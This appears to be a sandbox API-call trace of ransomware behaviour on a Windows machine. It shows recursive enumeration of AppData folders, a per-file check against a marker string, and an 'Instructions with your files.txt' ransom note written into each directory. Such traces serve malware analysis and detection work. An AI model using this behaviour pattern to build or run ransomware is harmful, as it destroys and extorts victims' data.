[0131.193] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 1
[0131.193] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned 87
[0131.193] StrStrIW (lpFirst="jre1.7.0_45.msi", lpSrch="SDfghjkl") returned 0x0
[0131.193] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 0
[0131.193] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Instructions with your files.txt") returned 104
[0131.193] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.195] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.195] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.196] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.196] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.196] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.196] CloseHandle (hObject=0x11c) returned 1
[0131.196] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.196] GetProcessHeap () returned 0x810000
[0131.196] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.196] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0
[0131.196] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Instructions with your files.txt") returned 92
[0131.196] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.198] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.199] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.199] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.199] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.199] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.199] CloseHandle (hObject=0x118) returned 1
[0131.199] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.199] GetProcessHeap () returned 0x810000
[0131.199] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.200] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0
[0131.200] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Instructions with your files.txt") returned 87
[0131.201] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.201] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.202] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.202] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.202] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.202] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.202] CloseHandle (hObject=0x114) returned 1
[0131.202] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.202] GetProcessHeap () returned 0x810000
[0131.202] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.202] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0
[0131.202] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Instructions with your files.txt") returned 83
[0131.203] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.203] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.204] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.204] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.204] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.204] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.204] CloseHandle (hObject=0x110) returned 1
[0131.204] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.204] GetProcessHeap () returned 0x810000
[0131.204] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.204] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ca47900, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ca47900, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1
[0131.204] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 49
[0131.204] GetProcessHeap () returned 0x810000
[0131.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.204] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*") returned 51
[0131.204] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ca47900, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ca47900, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.205] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\.") returned 51
[0131.205] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ca47900, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ca47900, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.205] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\..") returned 52
[0131.205] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3b4b5270, ftCreationTime.dwHighDateTime=0x1d5b63d, ftLastAccessTime.dwLowDateTime=0xbe0682f0, ftLastAccessTime.dwHighDateTime=0x1d5ba77, ftLastWriteTime.dwLowDateTime=0xbe0682f0, ftLastWriteTime.dwHighDateTime=0x1d5ba77, nFileSizeHigh=0x0, nFileSizeLow=0xcb9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-kOj.swf", cAlternateFileName="")) returned 1
[0131.205] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-kOj.swf") returned 58
[0131.205] StrStrIW (lpFirst="-kOj.swf", lpSrch="SDfghjkl") returned 0x0
[0131.205] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3eb11ce0, ftCreationTime.dwHighDateTime=0x1d5b865, ftLastAccessTime.dwLowDateTime=0xc1096cd0, ftLastAccessTime.dwHighDateTime=0x1d5c4b6, ftLastWriteTime.dwLowDateTime=0xc1096cd0, ftLastWriteTime.dwHighDateTime=0x1d5c4b6, nFileSizeHigh=0x0, nFileSizeLow=0x3a1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2 0eUc.m4a", cAlternateFileName="20EUC~1.M4A")) returned 1
[0131.205] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2 0eUc.m4a") returned 60
[0131.205] StrStrIW (lpFirst="2 0eUc.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.206] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2c8cea90, ftCreationTime.dwHighDateTime=0x1d5b710, ftLastAccessTime.dwLowDateTime=0xbcb1720, ftLastAccessTime.dwHighDateTime=0x1d5c429, ftLastWriteTime.dwLowDateTime=0xbcb1720, ftLastWriteTime.dwHighDateTime=0x1d5c429, nFileSizeHigh=0x0, nFileSizeLow=0x50b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2ic p.pptx", cAlternateFileName="2ICP~1.PPT")) returned 1
[0131.206] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2ic p.pptx") returned 60
[0131.206] StrStrIW (lpFirst="2ic p.pptx", lpSrch="SDfghjkl") returned 0x0
[0131.206] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd4957da0, ftCreationTime.dwHighDateTime=0x1d5b793, ftLastAccessTime.dwLowDateTime=0x17e04850, ftLastAccessTime.dwHighDateTime=0x1d5b8df, ftLastWriteTime.dwLowDateTime=0x17e04850, ftLastWriteTime.dwHighDateTime=0x1d5b8df, nFileSizeHigh=0x0, nFileSizeLow=0xf1d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2L6gYDAE 9DDtDG-qTM.png", cAlternateFileName="2L6GYD~1.PNG")) returned 1
[0131.206] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2L6gYDAE 9DDtDG-qTM.png") returned 73
[0131.206] StrStrIW (lpFirst="2L6gYDAE 9DDtDG-qTM.png", lpSrch="SDfghjkl") returned 0x0
[0131.206] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
[0131.206] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned 55
[0131.206] GetProcessHeap () returned 0x810000
[0131.206] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.206] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*") returned 57
[0131.206] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.207] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\.") returned 57
[0131.207] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.208] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\..") returned 58
[0131.208] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
[0131.208] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat") returned 63
[0131.208] GetProcessHeap () returned 0x810000
[0131.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.208] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*") returned 65
[0131.208] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.208] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\.") returned 65
[0131.208] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.208] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\..") returned 66
[0131.208] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
[0131.208] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned 68
[0131.208] GetProcessHeap () returned 0x810000
[0131.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.209] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*") returned 70
[0131.209] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.210] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\.") returned 70
